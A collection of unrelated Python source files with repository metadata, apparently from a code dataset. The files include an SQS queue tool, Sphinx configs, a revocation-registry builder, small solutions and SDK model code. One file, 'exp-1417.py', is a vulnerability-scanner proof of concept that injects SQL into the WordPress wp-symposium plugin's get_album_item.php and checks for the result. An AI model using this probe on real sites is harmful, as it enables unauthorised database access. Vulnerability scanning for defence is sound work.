#!/edx/app/discovery/venvs/discovery/bin/python3 # Copyright (c) 2006,2007 Mitch Garnaat http://garnaat.org/ # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, dis- # tribute, sublicense, and/or sell copies of the Software, and to permit # persons to whom the Software is furnished to do so, subject to the fol- # lowing conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS # OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL- # ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT # SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. # import getopt, sys import boto.sqs from boto.sqs.connection import SQSConnection from boto.exception import SQSError def usage(): print 'cq [-c] [-q queue_name] [-o output_file] [-t timeout] [-r region]' def main(): try: opts, args = getopt.getopt(sys.argv[1:], 'hcq:o:t:r:', ['help', 'clear', 'queue=', 'output=', 'timeout=', 'region=']) except: usage() sys.exit(2) queue_name = '' output_file = '' timeout = 30 region = '' clear = False for o, a in opts: if o in ('-h', '--help'): usage() sys.exit() if o in ('-q', '--queue'): queue_name = a if o in ('-o', '--output'): output_file = a if o in ('-c', '--clear'): clear = True if o in ('-t', '--timeout'): timeout = int(a) if o in ('-r', '--region'): region = a if region: c = boto.sqs.connect_to_region(region) if c is None: print 'Invalid region (%s)' % region sys.exit(1) else: c = SQSConnection() if queue_name: try: rs = [c.create_queue(queue_name)] except SQSError as e: print 'An Error Occurred:' print '%s: %s' % (e.status, e.reason) print e.body sys.exit() else: try: rs = c.get_all_queues() except SQSError as e: print 'An Error Occurred:' print '%s: %s' % (e.status, e.reason) print e.body sys.exit() for q in rs: if clear: n = q.clear() print 'clearing %d messages from %s' % (n, q.id) elif output_file: q.dump(output_file) else: print q.id, q.count(vtimeout=timeout) if __name__ == "__main__": main()
[ "josiahk@phyziklabs.com" ]
josiahk@phyziklabs.com
67847d07a9ae4df961e7ab84e973abb383ecefb0
58d6c7927d58ba9782c79624dadd9602c8148daa
/docs/conf.py
bc7bb2ead825b9c212910f5165c69fbd9b43d494
[ "CC-BY-3.0" ]
permissive
benzheren/deform
413c57da9a5e43d6b228c661756e19ff6461cbba
79d8ac16743815f0c24c27c2ca7ea4287dc5ffb4
refs/heads/master
2021-01-15T20:23:55.318165
2011-05-20T03:06:33
2011-05-20T03:06:33
1,549,685
1
0
null
null
null
null
UTF-8
Python
false
false
6,116
py
# -*- coding: utf-8 -*- # # deform documentation build configuration file # # This file is execfile()d with the current directory set to its containing # dir. # # The contents of this file are pickled, so don't put values in the # namespace that aren't pickleable (module imports are okay, they're # removed automatically). # # All configuration values have a default value; values that are commented # out serve to show the default value. import sys, os # If your extensions are in another directory, add it here. If the # directory is relative to the documentation root, use os.path.abspath to # make it absolute, like shown here. #sys.path.append(os.path.abspath('some/directory')) parent = os.path.dirname(os.path.dirname(__file__)) sys.path.append(os.path.abspath(parent)) wd = os.getcwd() os.chdir(parent) os.system('%s setup.py test -q' % sys.executable) os.chdir(wd) for item in os.listdir(parent): if item.endswith('.egg'): sys.path.append(os.path.join(parent, item)) # General configuration # --------------------- # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.autodoc'] # Add any paths that contain templates here, relative to this directory. templates_path = ['.templates'] # The suffix of source filenames. source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General substitutions. project = 'deform' copyright = '2011, Agendaless Consulting <pylons-discuss@googlegroups.com>' # The default replacements for |version| and |release|, also used in various # other places throughout the built documents. # # The short X.Y version. version = '0.9' # The full version, including alpha/beta/rc tags. release = version # There are two options for replacing |today|: either, you set today to # some non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. today_fmt = '%B %d, %Y' # List of documents that shouldn't be included in the build. #unused_docs = [] # List of directories, relative to source directories, that shouldn't be # searched for source files. #exclude_dirs = [] # The reST default role (used for this markup: `text`) to use for all # documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # Options for HTML output # ----------------------- sys.path.append(os.path.abspath('_themes')) html_theme_path = ['_themes'] html_theme = 'pylons' # The style sheet to use for HTML and HTML Help pages. A file of that name # must exist either in Sphinx' static/ path, or in one of the custom paths # given in html_static_path. #html_style = 'pylons.css' # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as # html_title. #html_short_title = None # The name of an image file (within the static path) to place at the top of # the sidebar. #html_logo = '.static/logo_hi.gif' # The name of an image file (within the static path) to use as favicon of # the docs. This file should be a Windows icon file (.ico) being 16x16 or # 32x32 pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) # here, relative to this directory. They are copied after the builtin # static files, so a file named "default.css" will overwrite the builtin # "default.css". #html_static_path = ['.static'] # If not '', a 'Last updated on:' timestamp is inserted at every page # bottom, using the given strftime format. html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_use_modindex = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, the reST sources are included in the HTML build as # _sources/<name>. #html_copy_source = True # If true, an OpenSearch description file will be output, and all pages # will contain a <link> tag referring to it. The value of this option must # be the base URL from which the finished HTML is served. #html_use_opensearch = '' # If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = '' # Output file base name for HTML help builder. htmlhelp_basename = 'deformdoc' # Options for LaTeX output # ------------------------ # The paper size ('letter' or 'a4'). #latex_paper_size = 'letter' # The font size ('10pt', '11pt' or '12pt'). #latex_font_size = '10pt' # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, document class [howto/manual]). latex_documents = [ ('index', 'deform.tex', 'deform Documentation', 'Pylons Developers', 'manual'), ] # The name of an image file (relative to this directory) to place at the # top of the title page. latex_logo = '.static/logo_hi.gif' # For "manual" documents, if this is true, then toplevel headings are # parts, not chapters. #latex_use_parts = False # Additional stuff for the LaTeX preamble. #latex_preamble = '' # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_use_modindex = True
[ "chrism@plope.com" ]
chrism@plope.com
425d0243808928a0a7b2acc6b6c87210f7a7790a
81a72409096ad1dd5c443ebcbe6309cb8e6050d7
/389.py
bf147eda1da9f8220859494370cda76aaf116a57
[]
no_license
plee0117/LC
57a06a18316680d202e417c7fbba2c90139908f3
75fe9ce131699854a468b829508d0636e4a820c4
refs/heads/master
2021-05-18T22:08:36.600206
2020-08-21T14:47:19
2020-08-21T14:47:19
251,446,370
0
0
null
null
null
null
UTF-8
Python
false
false
221
py
class Solution: def findTheDifference(self, s: str, t: str) -> str: ind = list(range(len(t))) for i in s: ind[t.index(i)] = 0 t = t.replace(i, '0', 1) return t[sum(ind)]
[ "emailme.paul@gmail.com" ]
emailme.paul@gmail.com
5833cd7532aeb6518a79c95a2078387fb6f85c44
701086eb3c858cf7e677f4e901b37ca26752b494
/app/forms/validators.py
c76bb90bf7fee5ddd0a67d6cc97ef807167875df
[]
no_license
anshulkgupta/eventum
e38f19678358b42f0336c642d818e8e8ed14c84b
4b36ed879694b650c1e5a1eefea7c36855ccf221
refs/heads/master
2021-01-18T01:24:52.697223
2014-10-26T23:09:11
2014-10-26T23:09:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
276
py
from app.models import Image from wtforms.validators import ValidationError def image_with_same_name(form,field): if Image.objects(filename=field.data).count() != 1: return ValidationError( message="Can't find image `%s` in the database" % field.data)
[ "dan.r.schlosser@gmail.com" ]
dan.r.schlosser@gmail.com
faf77e4453e1b9b6762adde2d5e51d41e1ad0894
3c98cc9e9f11294a17cd3c2022ef2867704b02af
/von_anchor/anchor/rrbuilder.py
65679c53516363c7516d6fba35a145f8cd4e1db3
[ "Apache-2.0" ]
permissive
hyperledgerkochi/von_anchor
d194fe4b30f4d265576080034f2f3532181bb6f6
c8d061cec715abbc69afa3b297373a2a598f33b0
refs/heads/master
2022-02-18T16:45:24.428635
2019-09-06T07:43:29
2019-09-06T07:43:29
198,063,762
0
0
Apache-2.0
2019-09-06T07:43:30
2019-07-21T14:04:04
Python
UTF-8
Python
false
false
16,199
py
""" Copyright 2017-2019 Government of Canada - Public Services and Procurement Canada - buyandsell.gc.ca Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import argparse import asyncio import json import logging from enum import Enum from os import getpid, kill, listdir, makedirs, remove from os.path import basename, dirname, expanduser, isdir, isfile, join, realpath from shutil import rmtree from subprocess import Popen from sys import path as sys_path from indy import anoncreds, blob_storage DIR_VON_ANCHOR = dirname(dirname(dirname(realpath(__file__)))) if DIR_VON_ANCHOR not in sys_path: sys_path.append(DIR_VON_ANCHOR) from von_anchor.anchor.base import BaseAnchor from von_anchor.error import AbsentProcess, BadIdentifier, WalletState from von_anchor.tails import Tails from von_anchor.util import ok_rev_reg_id, rev_reg_id2cred_def_id, rev_reg_id2cred_def_id_tag from von_anchor.wallet import Wallet, WalletManager LOGGER = logging.getLogger(__name__) _STATE = Enum('_STATE', 'ABSENT RUNNING STOPPING') class RevRegBuilder(BaseAnchor): """ Issuer alter ego to build revocation registries in parallel to regular Issuer processing. Once the indy-sdk can operate from a subprocess, this logic can go into the Issuer itself, which can spawn it as a subprocess. Until then, to build revocation registries in parallel, whatever process creates an Issuer must create its corresponding RevRegBuilder separately. """ DIR_TAILS = join(expanduser('~'), '.indy_client', 'tails') DIR_TAILS_HOPPER = join(DIR_TAILS, '.hopper') def __init__(self, wallet: Wallet, **kwargs) -> None: """ Initializer for RevRegBuilder anchor. Retain input parameters; do not open wallet nor tails writer. :param wallet: wallet for anchor use :param rrbx: whether revocation registry builder is an external process from the Issuer (default False for backward-compatible behaviour) """ LOGGER.debug('RevRegBuilder.__init__ >>> wallet: %s, kwargs: %s', wallet, kwargs) super().__init__(wallet, None, **kwargs) self._external = kwargs.get('rrbx', False) self._dir_tails_sentinel = RevRegBuilder.dir_tails_sentinel(wallet.name) if self.external else None if self.external: makedirs(self.dir_tails_hopper, exist_ok=True) # self is RevRegBuilder or descendant: spawn rrbx proc makedirs(self._dir_tails_sentinel, exist_ok=True) rrb_state = RevRegBuilder._get_state(wallet.name) if rrb_state == _STATE.STOPPING: try: # cancel the stop order remove(join(RevRegBuilder.dir_tails_sentinel(wallet.name), '.stop')) except FileNotFoundError: pass # too late, it's gone else: rrb_state = _STATE.ABSENT if rrb_state == _STATE.ABSENT: # run it start_data_json = self._start_data_json() with open(join(RevRegBuilder.dir_tails_sentinel(wallet.name), '.start'), 'w') as fh_start: print(start_data_json, file=fh_start) rrb_proc = Popen([ 'python', realpath(__file__), '-n', wallet.name]) if rrb_proc and rrb_proc.pid: LOGGER.info( '%s %s spawned pid %s to run external revocation registry builder', type(self).__name__, wallet.name, rrb_proc.pid) else: LOGGER.debug('%s %s could not spawn rev reg builder', type(self).__name__, wallet.name) raise AbsentProcess('RevRegBuilder.__init__ <!< {} {} could not spawn rev reg builder'.format( type(self).__name__, wallet.name)) LOGGER.debug('RevRegBuilder.__init__ <<<') @property def external(self) -> bool: """ Accessor for revocation registry builder posture: external (True) or internal (False) :return: whether revocation registry builder posture is external """ return self._external @property def dir_tails(self) -> str: """ Accessor for root of tails directory :return: tails directory """ return RevRegBuilder.DIR_TAILS @property def dir_tails_hopper(self) -> str: """ Accessor for tails hopper directory :return: tails hopper directory """ return RevRegBuilder.DIR_TAILS_HOPPER def _start_data_json(self) -> str: """ Output json with start data to write for external revocation registry builder process pickup. :return: logging and wallet init data json """ rv = { 'logging': { 'paths': [] }, 'wallet': { } } logger = LOGGER while not logger.level: logger = logger.parent if logger is None: break rv['logging']['level'] = logger.level logger = LOGGER log_paths = [realpath(h.baseFilename) for h in logger.handlers if hasattr(h, 'baseFilename')] while not log_paths: logger = logger.parent if logger is None: break log_paths = [realpath(h.baseFilename) for h in logger.handlers if hasattr(h, 'baseFilename')] for log_path in log_paths: rv['logging']['paths'].append(log_path) rv['wallet']['storage_type'] = self.wallet.storage_type rv['wallet']['config'] = self.wallet.config rv['wallet']['access_creds'] = self.wallet.access_creds return json.dumps(rv) @staticmethod def _get_state(wallet_name: str) -> _STATE: """ Return current state of revocation registry builder process. :param wallet_name: name of wallet for corresponding Issuer :return: current process state as _STATE enum """ dir_sentinel = RevRegBuilder.dir_tails_sentinel(wallet_name) file_pid = join(dir_sentinel, '.pid') file_start = join(dir_sentinel, '.start') file_stop = join(dir_sentinel, '.stop') if isfile(file_stop): return _STATE.STOPPING if isfile(file_start) or isfile(file_pid): return _STATE.RUNNING return _STATE.ABSENT @staticmethod def dir_tails_sentinel(wallet_name: str) -> str: """ Return the sentinel directory for a revocation registry builder on input wallet name, without instantiating the anchor. :param wallet_name: name of revocation registry builder, as specified in its wallet configuration :return: path to sentinel directory for revocation registry builder on wallet name """ return join(RevRegBuilder.DIR_TAILS, '.sentinel', wallet_name) def dir_tails_top(self, rr_id) -> str: """ Return top of tails tree for input rev reg id. :param rr_id: revocation registry identifier :return: top of tails tree """ return join(self.dir_tails_hopper, rr_id) if self.external else self.dir_tails def dir_tails_target(self, rr_id) -> str: """ Return target directory for revocation registry and tails file production. :param rr_id: revocation registry identifier :return: tails target directory """ return join(self.dir_tails_top(rr_id), rev_reg_id2cred_def_id(rr_id)) def mark_in_progress(self, rr_id: str, rr_size: int) -> None: """ Prepare sentinel directory for revocation registry construction. :param rr_id: revocation registry identifier :rr_size: size of revocation registry to build """ try: makedirs(join(self._dir_tails_sentinel, rr_id), exist_ok=False) except FileExistsError: LOGGER.warning('Rev reg %s construction already in progress', rr_id) else: open(join(self._dir_tails_sentinel, rr_id, '.{}'.format(rr_size)), 'w').close() async def serve(self) -> None: """ Write pidfile to sentinel directory if need be, and wait for sentinels to shut down or build revocation registry and tails file. """ LOGGER.debug('RevRegBuilder.serve >>>') assert self.external file_pid = join(self._dir_tails_sentinel, '.pid') if isfile(file_pid): with open(file_pid, 'r') as fh_pid: pid = int(fh_pid.read()) try: kill(pid, 0) except ProcessLookupError: remove(file_pid) LOGGER.info('RevRegBuilder removed derelict .pid file') except PermissionError: LOGGER.info('RevRegBuilder process already running with pid %s: exiting', pid) LOGGER.debug('RevRegBuilder.serve <<<') return else: LOGGER.info('RevRegBuilder process already running with pid %s: exiting', pid) LOGGER.debug('RevRegBuilder.serve <<<') return pid = getpid() with open(file_pid, 'w') as pid_fh: print(str(pid), file=pid_fh) file_stop = join(self._dir_tails_sentinel, '.stop') while True: if isfile(file_stop): # stop now, pick up any pending tasks next invocation remove(file_stop) remove(file_pid) break p_pending = [join(self._dir_tails_sentinel, d) for d in listdir(self._dir_tails_sentinel) if isdir(join(self._dir_tails_sentinel, d))] p_pending = [p for p in p_pending if [s for s in listdir(p) if s.startswith('.')]] # size marker if p_pending: pdir = basename(p_pending[0]) rr_id = pdir rr_size = int([s for s in listdir(p_pending[0]) if s.startswith('.')][0][1:]) open(join(p_pending[0], '.in-progress'), 'w').close() await self.create_rev_reg(rr_id, rr_size or None) rmtree(p_pending[0]) await asyncio.sleep(1) LOGGER.debug('RevRegBuilder.serve <<<') @staticmethod async def stop(wallet_name: str) -> None: """ Gracefully stop an external revocation registry builder, waiting for its current. The indy-sdk toolkit uses a temporary directory for tails file mustration, and shutting down the toolkit removes the directory, crashing the external tails file write. This method allows a graceful stop to wait for completion of such tasks already in progress. :wallet_name: name external revocation registry builder to check :return: whether a task is pending. """ LOGGER.debug('RevRegBuilder.stop >>>') dir_sentinel = join(RevRegBuilder.dir_tails_sentinel(wallet_name)) if isdir(dir_sentinel): open(join(dir_sentinel, '.stop'), 'w').close() # touch while any(isfile(join(dir_sentinel, d, '.in-progress')) for d in listdir(dir_sentinel)): await asyncio.sleep(1) LOGGER.debug('RevRegBuilder.stop <<<') async def create_rev_reg(self, rr_id: str, rr_size: int = None) -> None: """ Create revocation registry artifacts and new tails file (with association to corresponding revocation registry identifier via symbolic link name) for input revocation registry identifier. Symbolic link presence signals completion. If revocation registry builder operates in a process external to its Issuer's, target directory is hopper directory. Raise WalletState for closed wallet. :param rr_id: revocation registry identifier :param rr_size: revocation registry size (defaults to 64) """ LOGGER.debug('RevRegBuilder.create_rev_reg >>> rr_id: %s, rr_size: %s', rr_id, rr_size) if not self.wallet.handle: LOGGER.debug('RevRegBuilder.create_rev_reg <!< Wallet %s is closed', self.name) raise WalletState('Wallet {} is closed'.format(self.name)) if not ok_rev_reg_id(rr_id): LOGGER.debug('RevRegBuilder.create_rev_reg <!< Bad rev reg id %s', rr_id) raise BadIdentifier('Bad rev reg id {}'.format(rr_id)) rr_size = rr_size or 64 (cd_id, tag) = rev_reg_id2cred_def_id_tag(rr_id) dir_tails = self.dir_tails_top(rr_id) dir_target = self.dir_tails_target(rr_id) if self.external: try: makedirs(dir_target, exist_ok=False) except FileExistsError: LOGGER.warning( 'RevRegBuilder.create_rev_reg found dir %s, but task not in progress: rebuilding rev reg %s', dir_target, rr_id) rmtree(dir_target) makedirs(dir_target, exist_ok=False) LOGGER.info('Creating revocation registry (capacity %s) for rev reg id %s', rr_size, rr_id) tails_writer_handle = await blob_storage.open_writer( 'default', json.dumps({ 'base_dir': dir_target, 'uri_pattern': '' })) (created_rr_id, rr_def_json, rr_ent_json) = await anoncreds.issuer_create_and_store_revoc_reg( self.wallet.handle, self.did, 'CL_ACCUM', tag, cd_id, json.dumps({ 'max_cred_num': rr_size, 'issuance_type': 'ISSUANCE_BY_DEFAULT' }), tails_writer_handle) tails_hash = basename(Tails.unlinked(dir_target).pop()) with open(join(dir_target, 'rr_def.json'), 'w') as rr_def_fh: print(rr_def_json, file=rr_def_fh) with open(join(dir_target, 'rr_ent.json'), 'w') as rr_ent_fh: print(rr_ent_json, file=rr_ent_fh) Tails.associate(dir_tails, created_rr_id, tails_hash) # associate last: symlink signals completion LOGGER.debug('RevRegBuilder.create_rev_reg <<<') async def main(wallet_name: str) -> None: """ Main line for revocation registry builder operating in external process on behalf of issuer agent. :param wallet_name: wallet name - must match that of issuer with existing wallet """ logging.basicConfig(level=logging.WARN, format='%(levelname)-8s | %(name)-12s | %(message)s') logging.getLogger('indy').setLevel(logging.ERROR) path_start = join(RevRegBuilder.dir_tails_sentinel(wallet_name), '.start') with open(path_start, 'r') as fh_start: start_data = json.loads(fh_start.read()) remove(path_start) logging.getLogger(__name__).setLevel(start_data['logging']['level']) for path_log in start_data['logging']['paths']: logging.getLogger(__name__).addHandler(logging.FileHandler(path_log)) wallet = WalletManager().get( { 'id': wallet_name, 'storage_type': start_data['wallet']['storage_type'], **start_data['wallet']['config'], }, access=start_data['wallet']['access_creds'].get('key', None)) async with wallet, RevRegBuilder(wallet, rrbx=True) as rrban: await rrban.serve() if __name__ == '__main__': PARSER = argparse.ArgumentParser() PARSER.add_argument('-n', '--name', help='wallet name', required=True) ARGS = PARSER.parse_args() LOOP = asyncio.get_event_loop() LOOP.run_until_complete(main(ARGS.name))
[ "srklump@hotmail.com" ]
srklump@hotmail.com
335af7220f389eddf0baa1cf0cb97e3f9ba72f03
52b5773617a1b972a905de4d692540d26ff74926
/.history/valid_20200616212636.py
96b5562d02e05c82fb1fac891633e27e6b568d99
[]
no_license
MaryanneNjeri/pythonModules
56f54bf098ae58ea069bf33f11ae94fa8eedcabc
f4e56b1e4dda2349267af634a46f6b9df6686020
refs/heads/master
2022-12-16T02:59:19.896129
2020-09-11T12:05:22
2020-09-11T12:05:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,064
py
# Ipv4 --> 4 decimal numbers,between 0 to 255 # leading zero's is invalid # check whethere its a digit between 0 to 255 import string def valid(str): address = str.split(".") numbers = range(0,256) for a in address: if len(address) == 4: if int(a) in numbers and a.isdigit() : if len(a) == 2 and a[0] == "0": return "Neither" else: return "IPv4" else: if str[len(str)-1] == ":": return "Neither" else: newAddress = str.split(":") i = 0 while i < len(newAddress)-1: print(newAddress[i]) well = all(c in string.hexdigits for c in newAddress[i]) if well == True: print("well",well) # return "IPv6" else: return "Neither" i +=1 print(valid("1e1.4.5.6"))
[ "mary.jereh@gmail.com" ]
mary.jereh@gmail.com
c574584397da1b7c40f83de3d2d3e61524bd6fe3
427ab1f7f7fe08f76fab6468f6ea24dc5bc2701d
/bugscan/exp-1417.py
512fd0c3befeec133428d005a8e6659d524b5658
[]
no_license
gayhub-blackerie/poc
b852b2bcdba78185efd68817c31579247c6e4b83
8b7c95d765deb450c029a921031eb1c90418f2a7
refs/heads/master
2021-07-24T03:05:52.697820
2017-11-04T10:33:51
2017-11-04T10:33:51
107,093,079
1
0
null
2017-10-16T07:31:31
2017-10-16T07:31:31
null
UTF-8
Python
false
false
636
py
# !/usr/bin/dev python # -*- coding:utf-8 -*- #__Author__ = buliuchang # __refer__ = https://www.exploit-db.com/exploits/37244/ def assign(service, arg): if service == "wordpress": return True, arg def audit(arg): payload='wp-content/plugins/wp-symposium/get_album_item.php?size=md5(1);--' target=arg+payload code, head, res, ecode, redirect_url =curl.curl(target) if code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in res: security_hole(target) if __name__ == '__main__': from dummy import * audit(assign('wordpress', 'http://localhost/wordpress/')[1])
[ "hackerlq@gmail.com" ]
hackerlq@gmail.com
c709ea8f114d9d9959cffc3733087f2b1ecde092
a5ba631dddaf2912c309601f8fbdd3c5b494fe20
/src/command_modules/azure-cli-lab/azure/cli/command_modules/lab/sdk/devtestlabs/models/lab_cost.py
166f2a5b9ee62cebfd056824a45a6b13ca19aa6f
[ "MIT" ]
permissive
saurabsa/azure-cli-old
37471020cd2af9a53e949e739643299f71037565
f77477a98c9aa9cb55daf5b0d2f410d1455a9225
refs/heads/master
2023-01-09T04:00:15.642883
2018-04-23T21:40:04
2018-04-23T21:40:04
130,759,501
0
0
NOASSERTION
2022-12-27T14:59:06
2018-04-23T21:33:34
Python
UTF-8
Python
false
false
4,236
py
# coding=utf-8 # -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- # coding: utf-8 # pylint: skip-file from msrest.serialization import Model class LabCost(Model): """A cost item. :param target_cost: The target cost properties :type target_cost: :class:`TargetCostProperties <azure.mgmt.devtestlabs.models.TargetCostProperties>` :param lab_cost_summary: The lab cost summary component of the cost data. :type lab_cost_summary: :class:`LabCostSummaryProperties <azure.mgmt.devtestlabs.models.LabCostSummaryProperties>` :param lab_cost_details: The lab cost details component of the cost data. :type lab_cost_details: list of :class:`LabCostDetailsProperties <azure.mgmt.devtestlabs.models.LabCostDetailsProperties>` :param resource_costs: The resource cost component of the cost data. :type resource_costs: list of :class:`LabResourceCostProperties <azure.mgmt.devtestlabs.models.LabResourceCostProperties>` :param currency_code: The currency code of the cost. :type currency_code: str :param start_date_time: The start time of the cost data. :type start_date_time: datetime :param end_date_time: The end time of the cost data. :type end_date_time: datetime :param created_date: The creation date of the cost. :type created_date: datetime :param provisioning_state: The provisioning status of the resource. :type provisioning_state: str :param unique_identifier: The unique immutable identifier of a resource (Guid). :type unique_identifier: str :param id: The identifier of the resource. :type id: str :param name: The name of the resource. :type name: str :param type: The type of the resource. :type type: str :param location: The location of the resource. :type location: str :param tags: The tags of the resource. :type tags: dict """ _attribute_map = { 'target_cost': {'key': 'properties.targetCost', 'type': 'TargetCostProperties'}, 'lab_cost_summary': {'key': 'properties.labCostSummary', 'type': 'LabCostSummaryProperties'}, 'lab_cost_details': {'key': 'properties.labCostDetails', 'type': '[LabCostDetailsProperties]'}, 'resource_costs': {'key': 'properties.resourceCosts', 'type': '[LabResourceCostProperties]'}, 'currency_code': {'key': 'properties.currencyCode', 'type': 'str'}, 'start_date_time': {'key': 'properties.startDateTime', 'type': 'iso-8601'}, 'end_date_time': {'key': 'properties.endDateTime', 'type': 'iso-8601'}, 'created_date': {'key': 'properties.createdDate', 'type': 'iso-8601'}, 'provisioning_state': {'key': 'properties.provisioningState', 'type': 'str'}, 'unique_identifier': {'key': 'properties.uniqueIdentifier', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, 'location': {'key': 'location', 'type': 'str'}, 'tags': {'key': 'tags', 'type': '{str}'}, } def __init__(self, target_cost=None, lab_cost_summary=None, lab_cost_details=None, resource_costs=None, currency_code=None, start_date_time=None, end_date_time=None, created_date=None, provisioning_state=None, unique_identifier=None, id=None, name=None, type=None, location=None, tags=None): self.target_cost = target_cost self.lab_cost_summary = lab_cost_summary self.lab_cost_details = lab_cost_details self.resource_costs = resource_costs self.currency_code = currency_code self.start_date_time = start_date_time self.end_date_time = end_date_time self.created_date = created_date self.provisioning_state = provisioning_state self.unique_identifier = unique_identifier self.id = id self.name = name self.type = type self.location = location self.tags = tags
[ "saurabsa@microsoft.com" ]
saurabsa@microsoft.com
3fcb753340d6c17fbec10dfc3e30c46fe86be655
60c5716fc0abcb6fcb5d7cf0a06efe0fcb7be56a
/docs/source/conf.py
311b7b47f8220ed602549ee241d3f523f61e9abd
[ "BSD-2-Clause", "Apache-2.0" ]
permissive
cedadev/housemartin
46b5ce3107dab02f1c6b2ccd788570913b59a30e
9d8c75e460a6dc46435760d15dc97ca9141e742f
refs/heads/main
2023-03-26T00:49:49.435008
2021-03-26T14:04:05
2021-03-26T14:04:05
337,997,635
0
0
null
null
null
null
UTF-8
Python
false
false
7,046
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # housemartin documentation build configuration file, created by # sphinx-quickstart on Fri Jun 9 13:47:02 2017. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. # If extensions (or modules to document with autodoc) are in another # directory, add these directories to sys.path here. If the directory is # relative to the documentation root, use os.path.abspath to make it # absolute, like shown here. # import os import sys # Add housemartin to sys.path to avoid having to full # install housemartin for autodoc. # Full install of housemartin will burst memory limit on ReadTheDocs. sys.path.insert(0, os.path.abspath("../../")) # -- General configuration --------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = [ "sphinx.ext.autodoc", "sphinx.ext.viewcode", "sphinx.ext.mathjax", "sphinx.ext.napoleon", "sphinx.ext.todo", "pywps.ext_autodoc", "sphinx.ext.autosectionlabel", # "sphinx.ext.imgconverter", # "nbsphinx", # "IPython.sphinxext.ipython_console_highlighting", ] # To avoid having to install these and burst memory limit on ReadTheDocs. # List of all tested working mock imports from all birds so new birds can # inherit without having to test which work which do not. autodoc_mock_imports = [ "numpy", "xarray", "fiona", "rasterio", "shapely", "osgeo", "geopandas", "pandas", "statsmodels", "affine", "rasterstats", "spotpy", "matplotlib", "scipy", "unidecode", "gdal", "sentry_sdk", "dask", "numba", "parse", "siphon", "sklearn", "cftime", "netCDF4", "bottleneck", "ocgis", "geotiff", "geos", "hdf4", "hdf5", "zlib", "pyproj", "proj", "cartopy", "scikit-learn", "cairo", "networkx", "roocs_utils", "daops", ] # Monkeypatch constant because the following are mock imports. # Only works if numpy is actually installed and at the same time being mocked. # import numpy # numpy.pi = 3.1416 # We are using mock imports in readthedocs, so probably safer to not run the notebooks nbsphinx_execute = "never" # Add any paths that contain templates here, relative to this directory. templates_path = ["_templates"] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = ".rst" # The master toctree document. master_doc = "index" # General information about the project. project = "housemartin" copyright = "2020, Carsten Ehbrecht" author = "Carsten Ehbrecht" # The version info for the project you're documenting, acts as replacement # for |version| and |release|, also used in various other places throughout # the built documents. # # The short X.Y version. # version = "0.1.0" # The full version, including alpha/beta/rc tags. "0.2.0" # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ["_build", "Thumbs.db", ".DS_Store", "**.ipynb_checkpoints"] # The name of the Pygments (syntax highlighting) style to use. pygments_style = "sphinx" # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False # Suppress "WARNING: unknown mimetype for ..." when building EPUB. suppress_warnings = ["epub.unknown_project_files"] # Avoid "configuration.rst:4:duplicate label configuration, other instance in configuration.rst" autosectionlabel_prefix_document = True # -- Options for HTML output ------------------------------------------- # The theme to use for 